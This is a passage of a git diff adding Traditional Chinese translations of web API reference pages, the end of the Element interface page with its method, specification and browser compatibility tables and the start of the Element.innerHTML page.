+ <dd>Returns the event handler for the {{event("gotpointercapture")}} event type.</dd>
+ <dt>{{ domxref("Element.onlostpointercapture") }}</dt>
+ <dd>Returns the event handler for the {{event("lostpointercapture")}} event type.</dd>
+ <dt>{{ domxref("Element.onwheel") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>wheel</code> event.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<p><em>Inherits methods from its parents {{domxref("Node")}}, and its own parent, {{domxref("EventTarget")}}<em>, and implements those of {{domxref("ParentNode")}}, {{domxref("ChildNode")}}<em>, {{domxref("NonDocumentTypeChildNode")}}, </em></em>and {{domxref("Animatable")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
+ <dd>Registers an event handler to a specific event type on the element.</dd>
+ <dt>{{domxref("Element.attachShadow()")}} {{experimental_inline}}</dt>
+ <dd>Attatches a shadow DOM tree to the specified element and returns a reference to its {{domxref("ShadowRoot")}}.</dd>
+ <dt>{{domxref("Element.animate()")}} {{experimental_inline}}</dt>
+ <dd>A shortcut method to create and run an animation on an element. Returns the created Animation object instance.</dd>
+ <dt>{{ domxref("Element.closest()")}} {{experimental_inline}}</dt>
+ <dd>Returns the {{domxref("Element")}}, descendant of this element (or this element itself), that is the closest ancestor of the elements selected by the selectors given in parameter.</dd>
+ <dt>{{ domxref("Element.createShadowRoot()")}} {{experimental_inline}} {{deprecated_inline()}}</dt>
+ <dd>Creates a <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> on on the element, turning it into a shadow host. Returns a {{domxref("ShadowRoot")}}.</dd>
+ <dt>{{ domxref("EventTarget.dispatchEvent()") }}</dt>
+ <dd>Dispatches an event to this node in the DOM and returns a {{jsxref("Boolean")}} that indicates that at least one handler has not canceled it.</dd>
+ <dt>{{domxref("Element.find()")}}{{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Element.findAll()")}}{{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Element.getAnimations()")}} {{experimental_inline}}</dt>
+ <dd>Returns an array of Animation objects currently active on the element.</dd>
+ <dt>{{ domxref("Element.getAttribute()") }}</dt>
+ <dd>Retrieves the value of the named attribute from the current node and returns it as an {{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getAttributeNames()") }}</dt>
+ <dd> </dd>
+ <dt>{{ domxref("Element.getAttributeNS()") }}</dt>
+ <dd>Retrieves the value of the attribute with the specified name and namespace, from the current node and returns it as an {{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Retrieves the node representation of the named attribute from the current node and returns it as an {{ domxref("Attr") }}.</dd>
+ <dt>{{ domxref("Element.getAttributeNodeNS()") }} {{obsolete_inline}}</dt>
+ <dd>Retrieves the node representation of the attribute with the specified name and namespace, from the current node and returns it as an {{ domxref("Attr") }}.</dd>
+ <dt>{{ domxref("Element.getBoundingClientRect()") }}</dt>
+ <dd>...</dd>
+ <dt>{{ domxref("Element.getClientRects()") }}</dt>
+ <dd>Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.</dd>
+ <dt>{{domxref("Element.getDestinationInsertionPoints()")}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{ domxref("Element.getElementsByClassName()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} that contains all descendants of the current element that possess the list of classes given in the parameter.</dd>
+ <dt>{{ domxref("Element.getElementsByTagName()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name, from the current element.</dd>
+ <dt>{{ domxref("Element.getElementsByTagNameNS()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name and namespace, from the current element.</dd>
+ <dt>{{ domxref("Element.hasAttribute()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute or not.</dd>
+ <dt>{{ domxref("Element.hasAttributeNS()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute, in the specified namespace, or not.</dd>
+ <dt>{{ domxref("Element.hasAttributes()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has one or more HTML attributes present.</dd>
+ <dt>{{ domxref("Element.insertAdjacentElement") }} {{experimental_inline}}</dt>
+ <dd>Inserts a given element node at a given position relative to the element it is invoked upon.</dd>
+ <dt>{{ domxref("Element.insertAdjacentHTML") }} {{experimental_inline}}</dt>
+ <dd>Parses the text as HTML or XML and inserts the resulting nodes into the tree in the position given.</dd>
+ <dt>{{ domxref("Element.insertAdjacentText") }} {{experimental_inline}}</dt>
+ <dd>Inserts a given text node at a given position relative to the element it is invoked upon.</dd>
+ <dt>{{ domxref("Element.matches()") }}<code> </code>{{experimental_inline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating whether or not the element would be selected by the specified selector string.</dd>
+ <dt>{{ domxref("Element.querySelector()") }}</dt>
+ <dd>Returns the first {{ domxref("Node") }} which matches the specified selector string relative to the element.</dd>
+ <dt>{{ domxref("Element.querySelectorAll") }}</dt>
+ <dd>Returns a {{ domxref("NodeList") }} of nodes which match the specified selector string relative to the element.</dd>
+ <dt>{{ domxref("Element.releasePointerCapture")}}</dt>
+ <dd>Releases (stops) pointer capture that was previously set for a specific {{domxref("PointerEvent","pointer event")}}.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Removes the element from the children list of its parent.</dd>
+ <dt>{{ domxref("Element.removeAttribute()") }}</dt>
+ <dd>Removes the named attribute from the current node.</dd>
+ <dt>{{ domxref("Element.removeAttributeNS()") }}</dt>
+ <dd>Removes the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{ domxref("Element.removeAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Removes the node representation of the named attribute from the current node.</dd>
+ <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
+ <dd>Removes an event listener from the element.</dd>
+ <dt>{{ domxref("Element.requestFullscreen()") }} {{experimental_inline}}</dt>
+ <dd>Asynchronously asks the browser to make the element full-screen.</dd>
+ <dt>{{ domxref("Element.requestPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Allows to asynchronously ask for the pointer to be locked on the given element.</dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}</dt>
+ <dd>Scrolls the page until the element gets into the view.</dd>
+ <dt>{{ domxref("Element.setAttribute()") }}</dt>
+ <dd>Sets the value of a named attribute of the current node.</dd>
+ <dt>{{ domxref("Element.setAttributeNS()") }}</dt>
+ <dd>Sets the value of the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{ domxref("Element.setAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Sets the node representation of the named attribute from the current node.</dd>
+ <dt>{{ domxref("Element.setAttributeNodeNS()") }} {{obsolete_inline}}</dt>
+ <dd>Setw the node representation of the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{ domxref("Element.setCapture()") }} {{non-standard_inline}}</dt>
+ <dd>Sets up mouse event capture, redirecting all mouse events to this element.</dd>
+ <dt>{{domxref("Element.setPointerCapture()")}}</dt>
+ <dd>Designates a specific element as the capture target of future {{domxref("PointerEvent","pointer events")}}.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Shadow DOM')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Animations", '', '')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Added the <code>getAnimations()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Undo Manager', '', 'Element')}}</td>
+   <td>{{Spec2('Undo Manager')}}</td>
+   <td>Added the <code>undoScope</code> and <code>undoManager</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Added the following event handlers: <code>ongotpointercapture</code> and <code>onlostpointercapture</code>.<br>
+    Added the following methods: <code>setPointerCapture()</code> and <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Added the following event handlers: <code>ongotpointercapture</code> and <code>onlostpointercapture</code>.<br>
+    Added the following methods: <code>setPointerCapture()</code> and <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td>Added the following methods:<code> matches()</code> (implemented as <code>mozMatchesSelector()</code>), <code>find()</code>, <code>findAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Added the following methods: <code>querySelector()</code> and <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Added the <code>requestPointerLock()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#api', 'Element')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Added the <code>requestFullscreen()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Added the following properties: <code>innerHTML</code>, and <code>outerHTML</code>.<br>
+    Added the following method: <code>insertAdjacentHTML()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the following properties: <code>scrollTop</code>, <code>scrollLeft</code>, <code>scrollWidth</code>, <code>scrollHeight</code>, <code>clientTop</code>, <code>clientLeft</code>, <code>clientWidth</code>, and <code>clientHeight</code>.<br>
+    Added the following methods: <code>getClientRects()</code>, <code>getBoundingClientRect()</code>, and <code>scrollIntoView()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added inheritance of the {{domxref("ElementTraversal")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the following methods: <code>closest()</code>, <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>.<br>
+    Removed the <code>schemaTypeInfo</code> property.<br>
+    Modified the return value of <code>getElementsByTag()</code> and <code>getElementsByTagNS()</code>.<br>
+    Moved <code>hasAttributes()</code> from the <code>Node</code> interface to this one.<br>
+    Inserted <code>insertAdjacentElement()</code> and <code>insertAdjacentText()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Added the following methods: <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>. These methods were never implemented and have been removed in later specifications.<br>
+    Added the <code>schemaTypeInfo</code> property. This property was never implemented and has been removed in later specifications.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>The <code>normalize()</code> method has been moved to {{domxref("Node")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>children</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>7.0 with a significant bug [1]<br>
+    9.0 according to the spec</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>childElementCount</code>, <code>nextElementSibling</code>, <code>previousElementSibling</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>firstElementChild</code>, <code>lastElementChild</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>classList</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td> </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>outerHTML</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("11")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>clientLeft</code>, <code>clientTop</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getBoundingClientRect()</code>, <code>getClientRects()</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>querySelector()</code>, <code>querySelectorAll()</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8.0</td>
+   <td>10.0</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>insertAdjacentHTML()</code> {{experimental_inline}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("8")}}</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>4.0 (527)</td>
+  </tr>
+  <tr>
+   <td><code>setCapture() </code>{{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>oncopy</code>, <code>oncut</code>, <code>onpaste</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td> </td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onwheel</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("17")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code>, <code>setPointerCapture()</code>, and <code>releasePointerCapture()</code></td>
+   <td>{{CompatChrome(52.0)}} [4]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} <sup>[3]</sup></td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>matches()</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}} with the non-standard name <code>webkitMatchesSelector</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}} {{property_prefix("ms")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}} with the non-standard name <code>mozMatchesSelector</code><br>
+    {{CompatGeckoDesktop("34")}} with the standard name</td>
+   <td>9.0 with the non-standard name <code>msMatchesSelector</code></td>
+   <td>11.5 with the non-standard name <code>oMatchesSelector</code><br>
+    15.0 with the non-standard name <code>webkitMatchesSelector</code></td>
+   <td>5.0 with the non-standard name <code>webkitMatchesSelector</code></td>
+  </tr>
+  <tr>
+   <td><code>find()</code> and <code>findAll()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>requestPointerLock()</code></td>
+   <td>16.0 {{property_prefix("webkit")}}, behind an about:flags<br>
+    22.0 {{property_prefix("webkit")}} (with special cases, progressively lifted see [2])</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14")}}{{property_prefix("moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>requestFullscreen()</code></td>
+   <td>14.0 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}</td>
+   <td>11.0 {{property_prefix("ms")}}</td>
+   <td>12.10<br>
+    15.0 {{property_prefix("webkit")}}</td>
+   <td>5.1 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>undoManager</code> and <code>undoScope</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} (behind the <code>dom.undo_manager.enabled</code> pref)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22")}}<br>
+    Before this it was available via the {{domxref("Node")}} interface that any <code>element</code> inherits.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>scrollTopMax()</code> and <code>scrollLeftMax()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("16")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>closest()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>hasAttributes()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} (on the {{domxref("Node")}} interface)<br>
+    {{CompatGeckoDesktop("35")}} (on this interface</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>insertAdjacentElement()</code>, <code>insertAdjacentText()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>assignedSlot</code>, <code>attatchShadow</code>, <code>shadowRoot</code>, and <code>slot</code></td>
+   <td>{{CompatChrome(53)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>computedRole</code> and <code>computedName</code></td>
+   <td>{{CompatChrome(41)}}[4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>28[4]</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td> </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollTopMax()</code> and <code>scrollLeftMax()</code></td>
+   <td>{{CompatNo}}</td>
+   <td> </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("16")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>closest()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>hasAttributes()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td> </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} (on the {{domxref("Node")}} interface)<br>
+    {{CompatGeckoMobile("35")}} (on this interface</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>insertAdjacentElement()</code>, <code>insertAdjacentText()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td> </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>assignedSlot</code>, <code>attatchShadow</code>, <code>shadowRoot</code>, and <code>slot</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(53)}}</td>
+  </tr>
+  <tr>
+   <td><code>computedRole</code> and <code>computedName</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>28[4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 7 and 8 incorrectly return the comments as part of the children of an Element. This is fixed in Internet Explorer 9 and later.</p>
+
+<p>[2] Chrome 16 allowed <code>webkitRequestPointerLock()</code> only in fullscreen; Chrome 21 for trusted web site (permission asked); Chrome 22 allowed it by default for all same-origin document; Chrome 23 allowed it in sandboxed {{HTMLElement("iframe")}} if the non-standard value <code>webkit-allow-pointer-lock</code> is set to the {{htmlattrxref("sandbox", "iframe")}} attribute.</p>
+
+<p>[3] Implementation withdrawn. See {{Bug("1166347")}}.</p>
+
+<p>[4] Behind a flag.</p>
diff --git a/files/zh-tw/web/api/element/innerhtml/index.html b/files/zh-tw/web/api/element/innerhtml/index.html
new file mode 100644
index 0000000000..df002176e4
--- /dev/null
+++ b/files/zh-tw/web/api/element/innerhtml/index.html
@@ -0,0 +1,215 @@
+---
+title: Element.innerHTML
+slug: Web/API/Element/innerHTML
+tags:
+  - 元素組件
+  - 注譯
+  - 裏HTML
+  - 裏超文本
+translation_of: Web/API/Element/innerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+
+
+<p> <a href="/zh-TW/docs/Glossary/Element">Element</a>  的「innerHTML」屬性獲取或設置元素中包含的HTML或XML標記。</p>
+
+<div class="note"><strong>Note:  </strong>如{{HTMLElement("div")}}, {{HTMLElement("span")}}, or {{HTMLElement("noembed")}} 節點有包含字符（＆），（&lt;）或（&gt;），innerHTML分別地回傳這些字符成為HTML的<code>“&amp;” </code>，<code>“&lt;” </code>和<code> “&gt;” </code>。 使用 <code>Node.textContent</code> 得到的這些文本節點的內容的原始拷貝件。</div>
+
+<p>To insert the HTML into the document rather than replace the contents of an element, use the method {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">const <var>content</var> = <var>element</var>.innerHTML;
+
+<var>element</var>.innerHTML = <var>htmlString</var>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("DOMString")}} containing the HTML serialization of the element's descendants. Setting the value of <code>innerHTML</code> removes all of the element's descendants and replaces them with nodes constructed by parsing the HTML given in the string <var>htmlString</var>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>An attempt was made to set the value of <code>innerHTML</code> using a string which is not properly-formed HTML.</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>An attempt was made to insert the HTML into a node whose parent is a {{domxref("Document")}}.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p>The <code>innerHTML</code> property can be used to examine the current HTML source of the page, including any changes that have been made since the page was initially loaded.</p>
+
+<h3 id="Reading_the_HTML_contents_of_an_element">Reading the HTML contents of an element</h3>
+
+<p>Reading <code>innerHTML</code> causes the user agent to serialize the HTML or XML fragment comprised of the elment's descendants. The resulting string is returned.</p>
+
+<pre class="brush: js notranslate">let contents = myElement.innerHTML;</pre>
+
+<p>This lets you look at the HTML markup of the element's content nodes.</p>
+
+<div class="note">
+<p><strong>Note:</strong> The returned HTML or XML fragment is generated based on the current contents of the element, so the markup and formatting of the returned fragment is likely not to match the original page markup.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong>基於元素的當前內容產生返回的HTML或XML片段，所以返回的片段的標記和格式可能不匹配原始頁面標記。</p>
+</div>
+
+<h3 id="Replacing_the_contents_of_an_element">Replacing the contents of an element</h3>
+
+<p>Setting the value of <code>innerHTML</code> lets you easily replace the existing contents of an element with new content.</p>
+
+<p>For example, you can erase the entire contents of a document by clearing the contents of the document's {{domxref("Document.body", "body")}} attribute:</p>
+
+<pre class="brush: js notranslate">document.body.innerHTML = "";</pre>
+
